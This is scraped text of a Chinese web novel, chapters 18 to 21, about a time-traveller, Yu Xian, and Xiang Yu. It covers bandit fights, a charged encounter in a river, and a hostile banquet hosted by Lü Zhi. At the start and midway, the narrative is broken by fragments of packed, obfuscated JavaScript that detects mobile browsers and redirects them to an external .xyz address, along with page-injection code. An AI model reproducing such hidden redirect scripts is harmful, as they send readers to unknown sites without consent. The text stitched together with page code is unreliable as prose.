l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745753|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要溢出来了,胸口山峦起伏,看上去的确是气得不轻。 平素她有多乖巧,此时便有多尖酸刻薄。 项羽皱眉:“你既然清楚我是为了你好,语气何必如此咄咄逼人。” 虞苋听到从他口中“为了你好”,气得整个身体都在颤抖。 她深吸一口气,眼眶压不住溢出的泪水,心脏好像被堵了一块,声音极低:“没跟你们走是我提议的,反杀对方也是我的决定,都是我自己的选择,怪不得将军,我不该如此跟将军说话。” 虞苋骨子里是冷血的,面对危险之时才能果断下手。 杀人的一瞬间她没有任何感觉,处于麻痹的状态,如今脱离了危险之后,那种恐惧害怕的情绪才慢慢升腾。 她只是一时间无法接受,自己曾经连一只鸡都没杀过,却突破底线直接要了人命。 即便是为了自保。 她害怕一旦突破底线,变回不了头。 可自己本就是活在国泰民安的和平年代,是倒了血霉了才会穿到这鬼地方。 虞苋将短笛扯掉丢在地上,直接一跃入水,想要暂时在水中冷静冷静。 项羽目光落在了地上被丢弃的短笛上,被她的态度伤着了,见她入水没有半点反应,冷着一张脸。 此时桓楚走出来,看着游远了的女郎:“阿羽,这次真是你过分了。” 项羽皱眉。 桓楚继续道:“你我都明白,她不愿意杀人,是你设计逼她的。” “她需要成长,而不是逃避。”项羽气压极低,“我若不逼她,她永远不会踏出第一步,这个世道,软弱之人活不久。” 桓楚叹了一口气:“你这是揠苗助长,明知道她怕,还如此刺激她,小虞心里,怕是要恨上你了。” 项羽:“……” 听到对方会恨他,项羽心中不是滋味。 他捡起地上的短笛,随后看着快要消失的黑点,跟桓楚说道:“接下来的事情,桓叔你来处理,我去看看她,免得她成了鱼料。” 桓楚:“行。” 项羽一跃入水,很快就追上了虞苋。 她趴在江中的大石头上休息,眼睛闭着,呼吸浅淡,看上去已经睡着了。 已经到了午时,雨停之后便出了日头,此时到了正午,日头格外的热烈,晒的石板上滚烫。 女郎翻了个身,伸手挡住眼睛,不顾身上湿漉漉的头发和衣裳,继续睡。 虞苋早就力竭,浑身不想动弹。 好憋屈。 好想回家。 在家里只有她给人气受,现下倒是遇到了克星了,把前半辈子没受过的委屈全都受了。 鼻间多了一缕龙涎香,虞苋知道是项羽来了,她眼泪又忍不住掉下来。 不争气。 此时自己还要在对方手下讨生活,刚刚那般的气话,着实不应该说的。 虞苋偷偷瞥了一眼项羽,见他俊脸上依旧是寡淡得没有任何表情,看不出到底还生不生气。 她双手抱膝,将身体蜷缩在一起,小声的“哼唧”两声,故意示弱。 项羽握住虞苋细细的手腕,给她把脉,随即淡淡道:“身体并无大碍,不用装了。” 虞苋闻言一愣,伸手抓住他的衣摆,轻轻扯了扯。 “我难受的。”她委屈巴巴道,“心里难受。” “没装。” 18. 第 18 章 虞苋眼尾通红,像只受惊小兽,而刚才的张牙舞爪,不过是她的虚张声势。 怂得很快。 项羽薄唇紧抿,伸手扯开她的手指,将短笛放回她的手中:“这是你自保的东西,拿好。” 女郎愣住。 虞苋仰头看他,项羽浑身冷冽,对于刚才自己的放肆显然很不满意,却并未有怪罪她的意思。 她又将短笛丢到一旁。 没注意,短笛落入。 项羽脸色一沉。 虞苋眨巴眨巴眼睛:“对不起将军,是妾身手滑了。” 项羽:“……” 沉默。 良久的沉默。 他突然抬手,虞苋以为对方受不了她的做作要打她,赶紧抬起胳膊抱头。 女郎瑟缩着,呈保护姿态。 她还是知道自己的行为有多么找打。 然而项羽胳臂却搂住了她的腰,直接将她往硬邦邦的怀中带。虞苋胸前两团直接撞上了对方的胸膛,灼热烫人的温度隔着湿漉漉的衣裳传递而来。 “手滑?”他轻嗤,“你自己信吗?” 虞苋手赶紧抵着对方的胸口,抬头只能看见对方坚毅的下巴和淡薄的唇,只好将目光下移,见到对方喉结滚动,看上去很好咬的样子。 她邪念心中起,偷偷地磨牙,准备搞偷袭。 还没有行动,对方似有察觉,单手一把将她提起,拉着她一起滚落水中。 “唔。” 入水瞬间,感觉到一阵冷意。 虞苋的两只手腕被项羽的左手按压在石头上,对方力气格外的大,她两只手都被禁锢动弹不得。而他的另一只手扯掉她的腰带,衣裳散开,狗男人滚烫的手直接握住了她的腰窝。 揉了几下。 她震惊地看着对方。 却见项羽眼神幽暗,重瞳若隐若现,此时头发上在滴水,冷峻的眼神看得人发慌。 在正午的日光下,水珠从对方的喉结处滑落,仿佛丛林中最危险的狩猎者,整个人优雅又放肆,在他的注视下,让人腿软得忘记了挣扎和逃跑。 他说:“是不是我过于纵容你了,让你一而再再而三的挑衅我?” 虞苋被炙热的温度烫得背皮发麻,浑身紧绷着,完全忘记了刚刚所经历的害怕、恐慌、愤恨,眼中只有项羽妖冶的瞳孔,以及对方长有薄茧的手掌。 她在水下去踢项羽的腿,可即便自己铆足了力气,对方却纹丝不动,就像是一座巍峨的山,于是便又立马换了策略,声音带了点哭腔:“错了,错了,真错了。” 项羽嘲讽:“错哪了?” 虞苋眼睛含泪:“错在不该把将军送我的东西丢掉。” “自己下水捞上来。” “先……先松开。” 项羽闻言便将她给松开了,退后一步,面容却比刚才越加的黑沉,目光锁定在女郎的腰间。 江风很大,将两人的头发吹飞,并且如乱麻一样缠绕在一起,虞苋瞥了对方一眼。 见他不出声,赶紧将两人的头发给解开,然后头朝着水中扎去,生怕对方反悔,要继续教训她。 在下一刻,项羽却单手将虞苋捞到石头上,她刚刚坐稳,便感觉周围的热源离开。 “坐好。” “嗯?” 虞苋抹掉脸上的水,整个人还是蒙圈的,项羽已经扎入水中。 她咬唇,指尖酸胀,一直传递到心间,让心脏也变得酸酸胀胀的,不由捂着心口,望着江面出神。 风吹来,带走身上的温度,更冷了。 很快项羽重新出现,快速的游到虞苋的面前,将短笛放在她手边。 见她身上的衣裳松松垮垮,一脸淡定给她整理衣裳,系好腰带,完全没有作为罪魁祸首的羞愧。 项羽问:“抱歉,今日是我做得不妥,下次会提前跟你商量,不会让你受惊了。” 他竟然主动道歉了。 虞苋小声“嗯”了一声,低头看着他冷峻的脸,心中又是害怕又是想要靠近。 她忍不住伸出双手,搂住了对方脖子,将整个身体的重量都压在项羽的身上,眷念的蹭了蹭。 项羽叹了一口气,娇气得很,拿她一点办法都没有。 不过娇气是娇气了点,遇事倒是冷静,下手十分果断,时机亦是拿捏得精准,非寻常人可比。 这倒是能解释得通,为何当初商船被屠,只有她一人得以幸存了。 “先上岸。” “嗯。” 两岸有密集的芦苇,长得比人还高,野鸭子在里面筑巢,鸥鹭在水面扑腾着两只翅膀。 虞苋亦步亦趋的跟在项羽身后,小可怜的样子,想要上前卖乖说两句好话,又记起今日遭遇的事情都是他看透自己的性格,故意使计激她,即便是道歉了,她还是很气的,便低头看着地面,愣是没开口。 呵。 她本就该生气。 踢了一脚地面上的枯木,虞苋不太喜欢这个沉默的气氛,开口询问:“将军,黎晟没事吧?” 之前她听闻黎晟能够以一敌十,这才放心的跑路。 项羽回答:“她没事。” 虞苋又询问:“那我的小白呢?” 项羽:“也无碍。” 那她便能放下心了。 项羽突然顿住了脚步,虞苋一个没注意,头撞到了对方的后背。 他说:“退后。” 虞苋探出一个脑袋,见前面正有十数人已经搭好了弓箭蓄势待发,后面还有十几人,而领头的脸上留着络腮胡,眼睛冒着精光,一副标准的坏人打扮。 又来? 项羽将随身携带的剑出鞘,格挡住第一波箭雨,护送她到了最近的一刻大树的树干后面躲着。 “别出来。” “知道。” 项羽耳朵微动,便见又一波箭射来,叮叮当当的,扎在了树上和地面上。 虞苋见箭头上呈银白色,看上去是抹了什么东西,不由提醒道:“将军,小心,箭上有毒。” 他道:“是水银。” 水银就是汞。 虞苋为了缓解紧张,还有闲心询问:“听说秦始皇陵中修了一条河,河中灌溉水银,始皇帝的棺椁便顺着水银的河流绕着皇陵流动,无人知道他的棺椁具体在何处,也不知道是不是真的。” “始皇帝?” “……” 虞苋心虚的低头:“他第一个称皇,不就是始皇帝吗?” 项羽深深看了她一眼,声音淡淡道:“六国的百姓,没有不仇恨他的,而你却不恨。” 六国的文字被嬴政下令焚烧,断了六国的 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虞苋闻言才干探出头,便看见一地的尸体。 他们大多数都是一击毙命,尸体完整,没有被断头和腰斩,倒是没有那么的可怖。 她数了数,对方来了大概是三十人,三十打一还全部毙命。 嘶。 好凶残。 虞苋摸了摸自己胳膊上的鸡皮疙瘩,却见项羽淡定的用手帕擦拭剑刃,周身连一片衣角都没有染血。 她定定站着,有点不敢上前,怕对方凶性未灭,想起刚才她对他做的坏事,一生气就将她一起刀了。 项羽见她不动,以为她吓到了,将剑入鞘之后走上前,皱眉:“害怕?” 他已经尽量给这些人留了全尸,便是担心吓到这娇滴滴的小女郎。 怕的。 虞苋不是怕尸体,是怕眼前的人。 她心口不一:“没有啊,一点都不怕。”若是说害怕,他要训练她,让她在死人堆里睡觉,岂不是更恐怖。 依稀记得,护士便是要去停尸房守夜,以战胜恐惧。 还是不要了。 项羽见女郎吓得眼神都涣散了,还强撑着说不害怕,心中却并没有满意她的转变,反而多出几分说不出道不明的烦躁。 他没有在说话,拉起她的手,往一个方向走。 虞苋不知道他又在发什么疯,只能小跑着跟在他的身后,不敢有半句怨言。 这狗男人却似嫌弃她走得慢,回身将揽住她的腰直接将抱起,大步的往前走。 密林中偶尔刷出尸体,显示出现了激烈的打斗。 虞苋将头靠在项羽的胸膛,感受男人强而有力的心跳,双手蜷缩在怀中。 沉默着,沉默着。 眼见安全了,她抬头瞥了一眼对方。 虞苋是个极其记仇,吃不得亏的主,即便是寄人篱下,项羽亦是无数次救过她,可一码事归一码事,今日受到的惊吓,必须得报复回去的,不然就太过于憋屈了。 刚才发的小脾气,实在是太小儿科。 嗯…… 她的目光落在了对方的喉结上。 这个时机就很好。 想咬。 19. 第 19 章 总不能一次都咬不到吧? 虞苋的手悄摸地攀住项羽的肩膀,脸上表情装得格外淡定,先是假装娇气地蹭了蹭对方的胸膛,然后借力怼到了对方的脖颈处。 张嘴。 咬。 她感觉到狗男人的身体一颤,双臂勒紧,似要将她揉进骨子里,与此同时头顶传来对方勃然大怒的声音:“你在做什么?” 唔,超凶。 她浑身一激灵。 虞苋眨了眨眼睛,嘴巴正张合着,牙齿叼着软肉磨牙,不仅咬偏了,此时面对他的质问,愣是不敢真下嘴咬破皮。 口中咸甜,她的两片嘴唇在颤抖,哆哆嗦嗦的嘬了两口,然后像小兽似的舔砥以示服软。 狗男人闷哼了一声,大手揉着她的脊背腰窝,似乎被爽到了。 噫噫呜呜。 大意了。 她懊恼的锤了对方肩膀两下:“就是在做这个啊,还要妾身说出来吗?” 项羽沉默。 他感觉怀中的女郎格外的软,就像是天上的一团云朵,轻飘飘的没什么重量,明明双臂将她死死禁锢,却依旧觉得若是放手她就会飞去很远很远,让人难以抓住。 此时女郎的牙齿尖尖的,拿着他颈肉磨牙,又害怕行为将她惹怒,唇齿温柔的安抚。 项羽被人弄得不上不下,让他恨不得直接将这个作怪的女郎直接拆吞入腹,以示惩罚。 他脸色铁青,声音隐忍:“看看这是什么地方,刚刚发生了什么事情就忘记了,现下你倒是有闲心撩拨我,不害怕?” 虞苋闻言顿住,感觉到对方身上的肌肉忍得要爆炸了,刚才斩杀盗匪之时,脸上连汗都没出,此时额间却溢出了豆大的汗珠,浑身紧绷着,似乎忍得非常的难受。 狗男人将她一提,换了个姿势,她的双腿不自觉的盘着项羽的腰间,对方的腰微微后仰,于是她便稳稳坐在了青年身上,抬眼与对方幽暗的眼神对视。 密林中无人,鸟兽亦无踪迹,周围格外的安静,两人浅浅的呼吸声都能听得见。 她突然意识到不妥,这个姿势看上去太危险了,若非是两人身上都穿着衣裳,否则就像是在干某些不可描述的事情。 项羽轻嗤:“怎么,不敢回话了?” 虞苋脸蛋潮红,看着这个架势,她是真的怕了。 这里又没有其他人,完全安静的环境,又是她自己主动凑上去的,此时被对方吃干抹净,便是一点反抗狡辩的余地都没有。 她真是偷鸡不成蚀把米。 懊悔。 项羽看着她红红的脸蛋,水润的双眼,柔夷的双手搭在他的肩膀,一副做错事怕被罚的模样,心中觉得有些好笑,面上却故作冷脸的盯着她。 虞苋“啊”了一声,羞涩的凑上去,跟他咬耳朵小声道:“那我给你灭灭火气好了,你不要这样吓唬我了行不行?” 她的手下移。 女郎嘴上说不要不要,动作却是越加的放肆。 项羽的额头青筋瞬间爆出,嘴抿成了一条直线,呼吸在胸腔中好像被灼烧着,一股无名的火气似要将他从内而外的焚烧殆尽。 怀中的女郎,身上却格外的清凉,缠着她才能压下疯狂的躁动。 他忍无可忍,厉声呵斥道:“够了。” 虞苋默默收回手,抵住他的胸口,委屈巴巴道:“我以为你需要。” 项羽被弄得不上不下的,看着她委屈的小脸,又是气她哪里学来的这些用在男人身上的手段,又是舍不得离开她的触碰,面上一时红一时青一时白,总而言之,他只感觉是被这个漂亮狡猾的女人给玩弄了。 他胸口起伏得厉害,想要给她点厉害瞧瞧,却见周围全是树,地上和树上多有虫蚁。 女郎的皮肤细腻,怕是受不住这些。 环境不对,时机不对,只能作罢。 项羽将她放下,没好气道:“自己走。” 虞苋这时倒是乖乖听话,知道自己刚才的行为是多么的可恶,只好跟在他身后离着不远不近的距离。 项羽:“……”真是要被气死。 由于饷午的太阳格外的炎热,又有热风吹来,因此两人身上的经过这一闹,衣裳已经完全干了。 这时寻到了项羽的马,它正在一处吃草,正甩着马尾驱赶蚊虫。 马看见了他们,眼神很是清澈,四条腿蹦着跑来,围着他身边撒欢。 虞苋见状有点懵,她印象中的马都是很沉稳的,什么时候见到这般活泼的马了? 项羽拉住马绳,它老老实实的低头,伸出脑袋给他摸,一副劫后余生的模样。 她走上前,见项羽摸它,也伸出一根手指碰了碰他的脖子上的鬃毛,然后被马翻了一个白眼。 虞苋:“……不给碰就不给碰。”跟它的主人一样,一点都不懂得怜香惜玉。 她清了清嗓子,双手抱胸,弯腰提着脚下的石子,假装什么事情都没有发生。 项羽道:“他叫骓奴,你唤它的名字,它听得懂,会给你碰的。” 虞苋嘟囔道:“我也不是很想摸它。” 骓奴,就是后来项羽战败之后,吟诗中的那匹骏马了,一匹马跟了一个好主人,便也能名留千史了。 她摆手:“况且我自己有马。” 骓奴打了一个响鼻,抬着脚转身,用眼神斜睨她。 被鄙视了。 还蛮通人性的,果然是一匹好马。 这时候桓楚和黎晟带着其他人汇合,马上多了几具被葛布包裹的尸体,是跟着前来剿匪的士兵的。 桓楚说道:“查探过了,匪徒的军械是秦人打造,不知道是谁提供的。” 项羽微微颔首:“怕是有人曲通外敌。” 两人又在嘀嘀咕咕说些什么,虞苋不懂政治,听得迷迷糊糊地,有点困了,想要睡觉。 她见到一旁的黎晟在擦拭剑刃,便主动上前攀谈,声音颇为的不好意思:“你没有受伤吧?” 黎晟抬眸,起身行礼:“多谢夫人关心,小的并无大碍。” 她说:“听桓将军说,夫人一个人杀了两个人,可是真的?” 这位虞夫人长得倒是柔柔弱弱的,没想到遇见危险之时不仅能当机立断不拖累她,竟然还能凭借自己的能力杀了匪徒,果真是人不可貌 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她看着黎晟:“别想太多,不知道对方的消息,说不定反而是一个好消息,梁县会盟,各地诸侯都会前来,到时候我帮你打听打听。” 黎晟惊喜道:“可是真的?” 虞苋点头:“自然。” 毕竟她还想要招揽对方,可不想要会背主的下属,以真心换真心,以真情换真情,用人情驱使人比用金钱更加的好用。 这是她跟在她爹身边第一个学到的道理,而她妈则是他爹实施的第一个受害人。 一连三天。 沿途一路剿匪,虞苋跟在项羽身边,已经从最开始的惧怕,变得麻木,更甚者,手中沾染的鲜血越多,她晚上都不敢一个人睡觉,一闭眼就能梦见自己杀人的场面。 好在第四天的时候项羽终于决定回去了,虞苋才松了一口气,即使她不认同对方逼她成长的行为,但不得不提的是,她的确对于尸体免疫了。 回到府邸之后,她立即叫雪纹让柴房烧水,然后用柚子水将全身都洗刷了一遍,才能压住心中的烦躁。 而项羽刚回来,便被叫去处理事情,一晚上没有回来。 翌日,一张请帖送到了虞苋的面前,署名是吕雉,说是请她一起去游湖。 雪纹见虞苋拿着拜帖出神,以为她是不了解此人是谁,便解释道:“夫人,这位吕雉,是沛公的夫人。” 她继续道:“沛公便是在丰县起义的那位义军头领。” 虞苋叹了一口气:“我知道他们,前几日出城时,我在门口撞见他们了。” 雪纹询问:“夫人可要前去?” 她有点怵吕雉,却又想近距离观察这位吕太后,便道:“帮我写个回帖,就说届时我会准时到。” “喏。” 虞苋再次吩咐:“对了,你去打听打听,这位吕夫人,还邀请了谁前往。” 她胆子是小。 但并不怕事。 总这么缩着不是事,不如借着吕雉设宴,她倒是想要看看,谁想要她的命。 20. 第 20 章 不过虞苋前头刚答应前往赴宴,项羽在晚上便知道了这件事。 虞苋嘟囔着:“项将军消息还真是灵通。” 他说:“明日我跟你一起前去。” 闻言,女郎的眼睛一亮,笑眯眯道:“可是真的?” 项羽双手抱胸,颔首:“你是第一次参加这些诸侯夫人们的宴席,未免你被人欺负,我就好心和你一起前往。” 她原本是有点不高兴自己做什么事情,一举一动都在别人的眼皮底子下的,可听到对方要跟她一起前往赴宴,心情瞬间大好,脸上倒是露出一个真心实意的笑了。 虞苋不太喜欢打打杀杀,若是项羽和她一起前往,背后想要她命的人有所收敛,她便可以不计较。 倘若对方死性不改,她可更不会手下留情。 她见状赶紧倒了一杯热水,殷勤地捧到对方的面前,“将军,渴了吧,喝点水呗。” 项羽看着眼睛弯成月牙的女郎,接过她杯中的温开水,说道:“对了,我让人给你做了几件衣裳,明日赴宴正好用得上。” “嗯?” 她目光示意在门口候着的亲卫,于是院中陆陆续续的进来了几十人,手中都拿着托盘站成两排,院子很快就显得有些狭小了。 虞苋的目光扫过去,见到上面的衣裳和首饰都是配套的,何止才是几件啊。 华服美裳,价值连城。 奢侈。 虞苋:“给我的?” 项羽颔首:“试试。” 她确实喜欢漂亮的衣裳,只是如今是在别人的眼皮底下讨生活,只能装得乖巧一些,不敢提太多的要求,因此衣服都是将就着穿。 此时看着漂亮的衣裳,眼睛格外的明亮,寻了一套湛蓝色的曲裾,配一套蓝宝石镶银的璎珞,便进了房间将衣裳换上。 衣裳换好之后,雪纹便在一旁为她佩戴好首饰,笑着道:“将军怕是将库房里的宝贝都掏空送给夫人了吧?” 虞苋的手捋着面前的头发,看着铜镜前的自己,没有搭雪纹的话,而是询问:“我下午才答应了吕夫人前往赴宴,晚上将军便知道了,是你专程跟他说的吗?” 雪纹闻言手一愣,赶紧跪在了地上:“夫人,是婢子说的。” 虞苋见状则是起身,眼神中带着笑:“在我的老家,给死人才下跪呢。” 雪纹不知所措。 她道:“起来吧。” 雪纹见虞苋伸手扶她,便不敢不起身。 虞苋说道:“将军说你老实本分,才让你来我身边伺候的,但是你也太老实本分了些,既然在我身边伺候着,你要将我的事情告知别人,不知道只会我一声吗?” “还是说……”她语气骤冷,“你也觉得我不过是个孤女,所以不把我当回事了?” 雪纹又“扑通”跪了下去:“婢子知错。” 虞苋这次没有再扶她,若是她学不会御下之策,难不成次次都让项羽为她出头吗? 她弯腰,直视她,唇角弯弯:“以后我的行踪,你未向我请示,即便是将军也别说,可好?” 雪纹低头:“喏。” 虞苋这才起身,笑着说道:“起来吧,我不喜欢人朝我下跪,会折寿的。” 雪纹这才敢起来。 她心中不由产生了这样的一个疑问,这位虞夫人到底是什么来历?谈吐和行事风格半点都不像是民间的商女,气质倒是跟她见过的世家女公子不逞多让。 而虞苋提醒了雪纹一番,便已经提着衣摆走出了房间。 项羽原是把玩着手中的铜杯,见虞苋出来之后,便将杯子放回了桌案上。 女郎的皮肤本来就白,被湛蓝色衣裳的衬托下,更显得白如冬雪。 她长得好,即便是华丽的首饰,亦未曾将女郎的容颜压下半分,反而衬得她越加的明艳。 姿容之美,世间无双。 虞苋已经小跑上前,朝着他转了一个圈,询问道:“好看吗?” 项羽双手抱胸,故作上下打量了一番,这才清了清嗓子:“还行。” 这是什么回答? 虞苋凑上去:“衣裳我很喜欢,谢谢将军。” 项羽挥手,示意婢女将首饰上前,他拿了一串银色铃铛一串香兰,朝着女郎走来。 他将铃铛和香兰一起挂在她的腰间,说道:“明日身边不要离人,亦不要自己涉险,若是有人言语冒犯,不可手下留情,直接杀了便是,我会护好你。” 虞苋一愣:“这么嚣张的吗?” 项羽冷笑了一声,没好气道:“你现在的身份是我的夫人,你跟那些夫人女公子之间的交际,则代表了我的脸面,若是遇事不知道反击,莫不是让人轻看了我?” “懂了。”她保证道,“绝不给你丢脸。” 吕雉设宴宴请的大多都是诸侯的夫人女公子们,其中不少人是得知虞苋答应了她的宴请,便是项羽也会陪同前来,才临时决定赴宴的。 毕竟此时的刘邦只是起义军的头领之一,又无显赫尊贵的出身,因此在来梁县参加会盟的这些诸侯夫人来说,身份还是不够看的。 刘邦得知项羽会前来,不敢怠慢,便也出现接待贵客。 而吕雉看着一些夫人带着自家的女儿前来赴宴,皆是盛装出席,忍不住心中嗤笑:一群踩高捧低的蠢货,项籍给自己的夫人撑场子,你们却想要送女儿一次攀附对方,真是不怕得罪了这位虞夫人啊。 她扫视了一圈,想到那日在城门口见到的美丽女子,容颜之盛便是同为女子也自残形愧,珠玉在前,项将军还能看得上这帮庸脂俗粉? 所幸她志不在以色侍人,不然见了虞夫人的容颜,怕也是忧愁得睡不着觉。 此时虞苋还未来,便有夫人坐不住了,询问道:“听闻项将军也会前来,怎么现下还未到?” 吕雉安抚道:“许是有事耽搁了。” 那人又道:“若是他不来,我们岂不是白跑了一趟。” 吕雉认识她,含笑道:“庄夫人莫急,我曾远远见过虞夫人一面,对她有些印象,虞夫人说前来赴宴,想必不会缺席。” 这位庄夫人的祖上精通星象,楚国未灭之时,祖上庄生曾在楚王身边做事,楚国被灭国,楚世家没落,这位庄夫人亦是家道中落了。 庄夫人道:“谁关心这位虞夫人来不来,不过就是一个姬妾罢了。” 有零零散散的附和:“就是就是。” 吕雉看着庄夫人身边带着的女公子,眼神不变,倒是拿起酒杯笑道:“也没听人说,项将军身边的这位夫人,只是个姬妾啊。” 庄夫人轻蔑一笑:“难不成他还能让一个孤女成为正妻不成?” 就在这时门口传来一阵喧闹。 “你们是在说我吗?” 人未到,声先闻。 众夫人循声看去,只见穿着湛蓝色曲裾的女郎带着婢女走了进来,身姿婀娜,步履从容,随着她的走动,腰间佩戴的玉珏发出叮叮当当的声音。 女郎恰好背着光,周身萦绕淡淡的光晕,仿若是神女下凡。 此等容颜,倾国倾城。 庄夫人闻言回头看了自己身边的女儿,不由脸色青黑,眼中的杀意一闪而过。 如今项梁未曾育有子女,是准备培养他的侄子项羽为继承人,项氏如今声势浩大,将来未必不能为王,若是有此女在项羽身边,她的女儿岂有机会攀附。 吕雉敏锐的发现了庄夫人的异常,却装作什么也不知道,就让她们试一试这位虞夫人的深浅,再看看是否值得结交。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14779270|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她先迎了上去,便听见虞苋道:“可是我来晚了?” 吕雉道:“夫人来得正好,游船刚准备好。” 虞苋笑眯眯道:“那便好。” 佳人一笑,如沐春风。 明明是个商贾之女,倒是在这些贵妇人面前,半点不怯场。 虞苋则目光落在在场的夫人们身上,有几位身边坐着适婚的女公子,皆是盛装打扮,什么心思都写在了脸上。 她抿嘴。 这些夫人身后,代表的更是她们的夫君,到底是谁想要卖女求荣,倒是显而易见。 但别要她的命就行。 不然她绝不留情。 梁县有十里莲池,如今正是莲花开的时节,吕雉便以此为由邀请众人赴宴。 她将男客和女客分席,虞苋带着雪纹和黎晟上了船,便远远见到对面刘邦正在招待项羽。 站在船上,有歌声传来。 “闻佳人兮召予,将腾驾兮偕逝。筑室兮水中,葺之兮荷盖。” 声音婉转,有人和之。 虞苋转身坐到席间,便见一个美妇人开口:“虞夫人可曾听过这辞?” 她疑惑:“你谁啊?”明知道她是孤女,还问此话,来者不善,因此虞苋也没给好脸色。 美妇人皱眉:“你竟不知道我是谁?” 虞苋拿起席上的酒杯轻轻摇晃,眼神淡漠的扫过去,嚣张道:“我需要知道你是谁吗?” 对方的脸立即就拉下去了,扫了扫衣摆嫌弃道:“果真是商贾布衣出身,竟是一点礼数都没有。” 虞苋闻言就不吭声,看上去是不知道该怎么怼回去。 此时吕雉打圆场:“这位是庄夫人,祖上一直都是楚国贵族……” 虞苋“哦”了一声,淡淡一笑,语气格外的阴阳怪气:“那就是说,以前是,现在落魄了呗……” 庄夫人闻言深吸了一口气,压下了心中的怒火,而是转头跟身边的另一个妇人说道:“刚刚的歌声,出自《湘夫人》,指的是娥皇女英,他们姐妹同时嫁给了舜帝为妻,共侍一夫,甚为贤良大度。” 她转头看向虞苋:“我夫君有意将女儿嫁给项将军为妻,将来你们以姐妹相称,好好相处,说不定还能谱写一段佳话。” 庄夫人身边的女儿瞥了一眼另一艘船,脸上忍不住爬上一抹红润,随后目光又移到虞苋的身上,红润瞬间下去,露出几分的深思来。 黎晟气不过:“项将军何时同意了要娶你的女儿,你怕是犯了癔症了吧。” “我们在说话,轮得到你说话。”庄夫人冷冷道,“虞夫人,管教好你的婢女。” 虞苋不好意思的笑了笑:“抱歉啊庄夫人,她是项将军军中的女将,有职务的,并非是我身边的婢女,要管教她也得是项将军管教,你说对不对?” 庄夫人噎住,随即又道:“不过这小辈的婚嫁之事,是由长辈做主,即便是项将军不乐意,只要武信君答应,这事不就成了。” 她接着道:“我的这个女儿仰慕项将军,此事前来我与夫君可是带着诚意前来的,就想给她找个好归宿。” 说罢,庄夫人拂袖:“我跟你一个姬妾说什么,不过是浪费口舌罢了,等我女儿入了门,你将来还不是要跪着奉茶。” 众夫人都不做声,看着这一场闹剧。 有人出来刁难,便是当看戏了。 吕雉却微微一笑,她早已打听到,项羽将虞苋带入了军中训练,军中女将如今前来护她,岂非只是一个小小的姬妾这般简单。 如此羞辱。 虞苋却“噗嗤”一笑:“黎晟,帮这位夫人醒醒脑子,让她认清自己什么身份。” 黎晟“喏”了一声,拿起桌案上的酒壶打开盖子,上前直接将庄夫人从头浇个透。 21. 第 21 章 庄夫人尖叫:“你竟敢叫人泼我!” 她的女儿赶紧拿手帕给她擦拭衣裳,抬头怨毒的看着虞苋,阴冷道:“虞夫人就是这么对待长辈的?” 不提及此事还好,说起她的长辈,虞苋原本含笑的嘴唇瞬间下压:“我一个孤女,哪里来的长辈?还是说庄夫人想下去陪他们做个伴。” 庄夫人大怒:“你竟然还敢咒我!” 她女儿则拉住她的手,眼睛里的杀意闪过,压抑着怒火:“虞夫人,提醒你一句,小心祸从口出。” 虞苋手捧着脸,目光从两人身上移开,看向了船上的其他贵妇人,她们皆是用审视的目光看着她,并未插话,想来是默认庄夫人的行为的。 她目光落在吕雉身上,对方却朝着安抚的笑了笑。 吕雉开口道:“庄夫人,可要去船舫中换一套干净的衣裳?” 庄夫人颔首,斜睨了虞苋一眼,先行离席了。 虞苋却看都没看她。 黎晟倒是有些为她愤愤不平:“这个庄夫人自持身份,竟然敢如此侮辱夫人,只泼她一壶酒倒是便宜了。” “这只是开胃菜。”虞苋将手中的放好,“雪纹留在船上,黎晟,你和我做小船去湖中采莲。” 黎晟:“喏。” 雪纹犹豫:“可是夫人……” 虞苋拍了拍她的肩膀:“听话。” 她没有心思和这些人玩后宅院子的明争暗斗,此次前来是为了立威的,可不是来当受气包的。 黎晟问吕雉要了艘小船,并拿了两坛子酒,两人便当着其他夫人的面,一起上了小船之上。 刘邦萧何等人正招待项羽以及其他宾客,歌姬们唱着《湘夫人》,哀转动听,项羽却无心欣赏歌舞,全都被另一艘船吸引了心神。 没多久便听见一阵嘈杂,之后便见虞苋带着黎晟坐小船自己去玩了。 他与一同前来的桓楚道:“桓叔,护好她。” 桓楚颔首:“晓得。” 乘小船入了莲池,有繁盛的荷叶作为遮挡,船很快就隐入其中,消失在了大众的视野当中。 黎晟随手摘了几个莲蓬,递给虞苋,询问道:“夫人,她们真敢派人杀你吗?若是你出了事情,她们就不怕将军责怪?” 虞苋掰着莲子吃,声音含糊:“对于那些贵妇而言,我现在不过是项羽的玩物,而她们则是诸侯的夫人,此时会盟在即,不过是杀了我一个姬妾,项氏叔侄为了大局着想,岂会跟他们置气。” 不过这些人怕是忘记了,他们前来会盟,是因为上月项梁斩杀了景驹,不敢不来,可不是真的请他们前来的。 黎晟看着虞苋冷漠的脸颊,心中不是滋味:“若是夫人有个三长两短,将军一定不会放过他们的。” 虞苋开了坛酒,略过了这个话题:“人已经安排好了吗?” 黎晟点头:“已经安排下去了。” “那咱俩就先喝酒。” “中!” 于是两个小酒鬼吃着莲子,便慢慢的将一坛子酒喝完了。 申时。 船不知道漂到了哪里,一阵阵细微的水声,有什么东西在靠近。 黎晟小声道:“有人来了。” 接连莲叶无穷尽,映日荷花别样。 下一刻。 船底传来一阵力,势要将船给掀翻,黎晟立即俯身,稳住了船身,紧接着与虞苋对视一眼,灵巧入水。 虞苋立即出声,见状惊慌失措道:“来人啊,救命啊,有刺客。” 嗓子叫得嘶哑,她便又开坛酒润喉。 而黎晟入水不到一息的时间,血丝在水中散开,她冒出头来,靠在船身上,虞苋便给她喂了一口酒。 莲池中四方莲叶抖动,又有刺客朝着池中小船逼近。 